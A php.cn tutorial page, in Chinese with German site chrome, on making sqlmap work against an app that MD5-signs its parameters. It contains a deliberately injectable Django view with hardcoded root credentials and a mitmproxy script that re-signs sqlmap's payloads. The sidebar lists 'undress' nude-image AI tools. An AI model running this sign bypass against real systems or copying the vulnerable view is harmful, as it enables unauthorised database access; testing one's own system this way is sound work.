Heim Betrieb und Instandhaltung Sicherheit Die Idee der SQLMAP-Verarbeitung ist Zeichenverschlüsselung

Die Idee der SQLMAP-Verarbeitung ist Zeichenverschlüsselung

May 14, 2023 am 11:52 AM
sign sqlmap

我对公司的APP进行测试的时候发现,我们是将所有的参数内容加上一个32位字符最后在进行MD5加密。由于APP处理的流程首先是验证sign是不是正确,如果验签失败,根本就进不去数据库,为了要使用SQLMAP对其进行测试,于是就写了一个代理数据的脚本,在拦截到数据包之后,对其参数内容和32字符进行加密替换。

注:该脚本适用于公司内部系统,因为能够知道加密的流程;或者能够拿到前端JS的加密方式。

首先我使用Django写了一个程序来模拟公司的系统,流程是获取POST的id和token,并加上自定义加密的字符,由于Django获取到数据是已经经过URLDECODE,所以我用了quote对参数id的内容进行URLENCODE,再进行MD5加密,最后验证请求过来的token是否和参数内容一致。

views.py

from django.shortcuts import render
from django.http import JsonResponse
# Create your views here.
import hashlib
import MySQLdb
import urllib
from django.views.decorators.csrf import csrf_exempt

@csrf_exempt
def index(request):
    id = request.POST.get("id")
    token = request.POST.get("token")
    str = urllib.quote(id+"test")
    print(str)
    hl = hashlib.md5()
    hl.update(str)
    token1 = hl.hexdigest()
    print token1
    if token == token1:
        db = MySQLdb.connect("localhost", "root", "123456", "testdb", charset='utf8')
        cursor = db.cursor()
        cursor.execute("select * from t_userinfo where id="+id)
        data = cursor.fetchone()
        print "Database version : %s " % data
        db.close()
        return JsonResponse({"msg":"verity ok"})
    else:
        return JsonResponse({"msg":"verity error."})


models.py

class userinfo(models.Model):
    name = models.CharField(max_length=100)
    age = models.CharField(max_length=100)
Nach dem Login kopieren

使用BP进行抓包,可以看到当验证正确和验证错误返回的状态。

Die Idee der SQLMAP-Verarbeitung ist ZeichenverschlüsselungDie Idee der SQLMAP-Verarbeitung ist Zeichenverschlüsselung

使用SQLMAP进行测试,发现无法测试。
Die Idee der SQLMAP-Verarbeitung ist Zeichenverschlüsselung于是我使用mitmproxy,mitmproxy是一个交互式的中间代理HTTP和HTTPS的控制台界面,具体详情可以看这里。

如果要修改的话,只修改wsproxy_request_handle函数,因为这个函数是拦截数据并且篡改数据的过程,其他的代码都是配置过程和运行过程,不用修改。

from mitmproxy.proxy.server import ProxyServer
from mitmproxy import flow,  controller
from mitmproxy import flow, proxy, controller, options
import hashlib
import re


def md5cr(str):
    hl = hashlib.md5()
    hl.update(str.encode(encoding='utf-8'))
    return hl.hexdigest()

class WSProxy(flow.FlowMaster):
    def __init__(self, opts, server, state, unsave_data):
        super(WSProxy, self).__init__(opts, server, state)
        self.unsave_data = unsave_data
    def run(self):
        try:
            print("start")
            flow.FlowMaster.run(self)
        except KeyboardInterrupt:
            self.shutdown()

    @controller.handler
    def request(self, f):
        wsproxy_request_handle(f)

    @controller.handler
    def response(self, f):
        wsproxy_response_handle(f)
        # parser = ResponseParser(f)
        # insert_result(parser.parser_data())

def wsproxy_request_handle(flow):
    """wyproxy send data to server before processing"""

    try:
        data = flow.request.content.split("&")
        t = ""
        for i in data:
            if i.split("=")[0] != "token":
                t = t+i.split("=")[1]
        str = t+"test"
        sign = md5cr(str)
        print(str)
        data1 = re.match("(.*?)token=",flow.request.content).group()
        flow.request.content = data1+sign
        print(flow.request.content)
    except IndexError:
        pass


def wsproxy_response_handle(flow):
    pass

port = 8888  #
mode = 'regular'  #mode=regular
opts = options.Options(
        listen_port=int(port),
        mode=mode,
        cadir="./ssl/",
)
unsave_data = False
config = proxy.ProxyConfig(opts)
state = flow.State()
server = ProxyServer(config)
m = WSProxy(opts, server, state, unsave_data)
m.run()
Nach dem Login kopieren

运行上面的脚本使用SQLMAP代理到上http://IP:8888上面,然后脚本会自动处理sqlmap的payload和生成对应的sign。

python sqlmap.py -r e:\\1.txt -p id --dbms=mysql --batch  --proxy=http://192.168.1.240:8888
Nach dem Login kopieren

Die Idee der SQLMAP-Verarbeitung ist Zeichenverschlüsselung

上面是生成payload和sign的过程,下面是我请求一个payload报错的过程。

Die Idee der SQLMAP-Verarbeitung ist Zeichenverschlüsselung

Die Idee der SQLMAP-Verarbeitung ist Zeichenverschlüsselung

Das obige ist der detaillierte Inhalt vonDie Idee der SQLMAP-Verarbeitung ist Zeichenverschlüsselung. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!

Erklärung dieser Website
Der Inhalt dieses Artikels wird freiwillig von Internetnutzern beigesteuert und das Urheberrecht liegt beim ursprünglichen Autor. Diese Website übernimmt keine entsprechende rechtliche Verantwortung. Wenn Sie Inhalte finden, bei denen der Verdacht eines Plagiats oder einer Rechtsverletzung besteht, wenden Sie sich bitte an admin@php.cn

Heiße KI -Werkzeuge

Undresser.AI Undress

Undresser.AI Undress

KI-gestützte App zum Erstellen realistischer Aktfotos

AI Clothes Remover

AI Clothes Remover

Online-KI-Tool zum Entfernen von Kleidung aus Fotos.

Undress AI Tool

Undress AI Tool

Ausziehbilder kostenlos

Clothoff.io

Clothoff.io

KI-Kleiderentferner

AI Hentai Generator

AI Hentai Generator

Erstellen Sie kostenlos Ai Hentai.

Heißer Artikel

R.E.P.O. Energiekristalle erklärten und was sie tun (gelber Kristall)
4 Wochen vor By 尊渡假赌尊渡假赌尊渡假赌
R.E.P.O. Beste grafische Einstellungen
4 Wochen vor By 尊渡假赌尊渡假赌尊渡假赌
R.E.P.O. So reparieren Sie Audio, wenn Sie niemanden hören können
4 Wochen vor By 尊渡假赌尊渡假赌尊渡假赌
WWE 2K25: Wie man alles in Myrise freischaltet
1 Monate vor By 尊渡假赌尊渡假赌尊渡假赌

Heiße Werkzeuge

Notepad++7.3.1

Notepad++7.3.1

Einfach zu bedienender und kostenloser Code-Editor

SublimeText3 chinesische Version

SublimeText3 chinesische Version

Chinesische Version, sehr einfach zu bedienen

Senden Sie Studio 13.0.1

Senden Sie Studio 13.0.1

Leistungsstarke integrierte PHP-Entwicklungsumgebung

Dreamweaver CS6

Dreamweaver CS6

Visuelle Webentwicklungstools

SublimeText3 Mac-Version

SublimeText3 Mac-Version

Codebearbeitungssoftware auf Gottesniveau (SublimeText3)

So verwenden Sie die SIGN-Funktion in Excel, um das Vorzeichen eines Werts zu bestimmen So verwenden Sie die SIGN-Funktion in Excel, um das Vorzeichen eines Werts zu bestimmen May 07, 2023 pm 10:37 PM

Die SIGN-Funktion ist eine sehr nützliche Funktion, die in Microsoft Excel integriert ist. Mit dieser Funktion können Sie das Vorzeichen einer Zahl herausfinden. Das heißt, ob die Zahl positiv ist. Die SIGN-Funktion gibt 1 zurück, wenn die Zahl positiv ist, -1, wenn die Zahl negativ ist, und Null, wenn die Zahl Null ist. Obwohl dies zu offensichtlich klingt, ist es sehr nützlich, die Funktion SIGN zu verwenden, wenn Sie eine große Spalte mit vielen Zahlen haben und das Vorzeichen aller Zahlen ermitteln möchten, um die Aufgabe in wenigen Sekunden zu erledigen. In diesem Artikel erklären wir drei verschiedene Methoden, wie Sie die SIGN-Funktion in jedem Excel-Dokument einfach verwenden können, um das Vorzeichen einer Zahl zu berechnen. Lesen Sie weiter, um zu erfahren, wie Sie diesen coolen Trick meistern. Start-up

Beispielanalyse der automatisierten Sqlmap-Injektion Beispielanalyse der automatisierten Sqlmap-Injektion May 13, 2023 pm 03:31 PM

Verwenden Sie sqlmap, um die Injektion in dvwa zu automatisieren, setzen Sie den dvwa-Level auf niedrig, öffnen Sie die SQLInjection (SQLInjection(Blind)) von dvwa, öffnen Sie das Browser-Debugging, geben Sie die Benutzer-ID ein, senden Sie sie und sehen Sie sich die abgefangenen Anforderungen an. Sie können sehen, dass es sich um eine GET-Anfrage handelt, die URL „http://192.168.1.222:8089/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#“. Wir haben sie direkt in Salmap eingefügt, um sie zu testen, verwenden Sie die - u Befehl -u"http://192.168.1.22

So analysieren Sie Probleme mit sqlmap So analysieren Sie Probleme mit sqlmap May 27, 2023 pm 01:07 PM

0x00-Übersicht Vor Kurzem bin ich beim Testen der SQLMAP-Injektion auf ein seltsames Phänomen gestoßen. Die höhere Version von SQLMAP kann die Injektion jedoch nicht erkennen, und die Daten können ausgehen, was kein Fehlalarm ist Beim vergleichenden Testen und Anzeigen des SQLMAP-Quellcodes wurden zwei kleine Lücken gefunden. 0x01-Szenarioreproduktion Injektionspunktformat: json..."whereparams":[{"name": "keyWord", "value": "test"}]} Injizierbare Parameter: Valuesqlmap-Befehl: pythonsqlmap.py-rsqlpk.txt– Flush -session-vvsqlmapv1.2.11 kann keine s injizieren

So analysieren Sie die SQLMap- und SQLi-Injection-Abwehr So analysieren Sie die SQLMap- und SQLi-Injection-Abwehr May 11, 2023 pm 06:37 PM

Teil eins: Verwendung von SQLmap 1.1 Einführung in SQLMAP 1. Ich habe einige grundlegende Anweisungen zur SQL-Injektion erwähnt, aber die manuelle Injektion ist sehr mühsam. Wir können SQLMAP, ein leistungsstarkes SQL-Injection-Tool, verwenden, um Daten zu erhalten. 2. Einführung in SQLMAP (1) # sqlmap ist ein Open-Source-Penetrationstest-Tool, das SQL-Injection-Schwachstellen und mit der Datenbank verbundene Server automatisch erkennen und ausnutzen kann. Es verfügt über eine sehr leistungsstarke Erkennungs-Engine, einen Penetrationstester mit mehreren Funktionen, Zugriff auf das zugrunde liegende Dateisystem durch Datenbank-Fingerprinting und Befehlsausführung über eine Out-of-Band-Verbindung. Offizielle Website: sqlmap.org(2)#Unterstützte Datenbanken: MySQL, Oracle, PostgreS

Was ist der Zwiebelmodus-Proxy von SQLMAP? Was ist der Zwiebelmodus-Proxy von SQLMAP? May 26, 2023 am 09:56 AM

Da Penetrationstests auf externen Websites erforderlich sind, verfügen die meisten Websites über eine Zugriffshäufigkeitskontrolle. Sobald diese Häufigkeit überschritten wird, wird die IP direkt gesperrt. Insbesondere wenn SQLMAP ausgeführt wird, ist es noch „Tantenroter“ und wird mit einem Fehler beendet, bevor die Ausführung von SQLMAP abgeschlossen ist. Deshalb begann ich, den Proxy-Modus von SQLMAP zu untersuchen. SQLMAP verfügt über zwei Proxy-Modi, einen normalen Proxy (HTTP-Proxy) und einen Onion-Proxy. Ich wollte ursprünglich über die Anwendung gewöhnlicher Agenten schreiben, aber Baidu sah, dass dieser Artikel detailliert genug war und hörte auf, Unsinn zu reden. Sqlmap-Erweiterung – Implementierung eines externen IP-Proxy-Pools Konzentrieren wir uns auf den Onion-Proxy. Zu Beginn, als Onion direkt zur Injektion verwendet wurde, gab es keinen „Tante Red“-Bericht. Später, als die Anzahl der eingedrungenen Websites zunahm,

So implementieren Sie die Analyse der zeitbasierten SQLMAP-Injektion So implementieren Sie die Analyse der zeitbasierten SQLMAP-Injektion May 12, 2023 pm 12:10 PM

1. Vorwort Wie erkennt man eine SQL-Injection? Meine Antwort lautet: Wenn Partei A sich um die Sicherheit kümmert, ist die Erkennung von SQL-Injections relativ einfach. 1) Fehlerinjektionserkennung. 2) Fügen Sie keine Bool-Fehlerberichte ein, da die Zahl der Fehlalarme relativ hoch ist. 3) Führen Sie eine zeitbasierte Zeitinjektion durch, wenden Sie sich an den Betrieb und die Wartung, um langsame Protokolldatenbankaufzeichnungen zu erstellen, den Ruhezustand zu überwachen und die Schlüsselwortüberwachung durchzuführen. Sie können die ID-Nummer der Scanaufgabe zum Dezimalpunkt der Ruhezeit hinzufügen, um die Positionierung zu erleichtern. (P.S.: Mit dieser Methode können 99 % der SQL-Injektionen gefunden werden.) Daher schränke ich den Zeitfehler bei der zeitbasierten Zeitinjektion sehr streng ein. Allerdings führt @chengable sicherheitsrelevante Arbeiten in Partei B durch, basierend auf t

Was ist die sqlmap _dns-Injection-Konfigurationsmethode? Was ist die sqlmap _dns-Injection-Konfigurationsmethode? May 12, 2023 pm 12:25 PM

Es gibt zu wenige verwandte Artikel zur DNS-Injektion für SQLMAP. Sie stellen den Parameter --dns-domain nur kurz vor oder erwähnen ihn in einem Satz, was verwirrend ist (hauptsächlich unehrlich). noch nicht Big Boss). Dann habe ich es noch einmal gemacht, indem ich auf die Methoden im Internet verwiesen habe. Zu den Dingen, die vorbereitet werden müssen, gehören eine SQLMap, Windows Blind Injection, zwei Domänennamen und ein externer Netzwerkserver. Als ich einmal etwas tat, stieß ich auf eine Zeitblindinjektion. Es war zufällig ein Windows-Computer und ich erinnerte mich an die Methode der DNS-Injektion. Bevor ich anfange, habe ich vor, den Befehl --sql-shell von sqlmap zu verwenden, um die DNS-Injection-Nutzlast zu testen. Gehen Sie zunächst zu burpsuite.

Die Idee der SQLMAP-Verarbeitung ist Zeichenverschlüsselung Die Idee der SQLMAP-Verarbeitung ist Zeichenverschlüsselung May 14, 2023 am 11:52 AM

Als ich die APP des Unternehmens testete, stellte ich fest, dass wir allen Parameterinhalten ein 32-Bit-Zeichen hinzugefügt und schließlich eine MD5-Verschlüsselung durchgeführt haben. Da der APP-Verarbeitungsprozess zunächst überprüft, ob das Zeichen korrekt ist, kann er überhaupt nicht in die Datenbank gelangen, um SQLMAP zum Testen zu verwenden. Nach dem Abfangen habe ich ein Skript für Proxy-Daten geschrieben Das Datenpaket führt eine verschlüsselte Ersetzung seines Parameterinhalts und 32 Zeichen durch. Hinweis: Dieses Skript ist für das interne System des Unternehmens geeignet, da Sie den Verschlüsselungsprozess kennen oder die Verschlüsselungsmethode des Front-End-JS erhalten können. Zuerst habe ich mit Django ein Programm geschrieben, um das System des Unternehmens zu simulieren. Der Prozess bestand darin, die POST-ID und das Token zu erhalten und ein benutzerdefiniertes verschlüsseltes Wort hinzuzufügen.

See all articles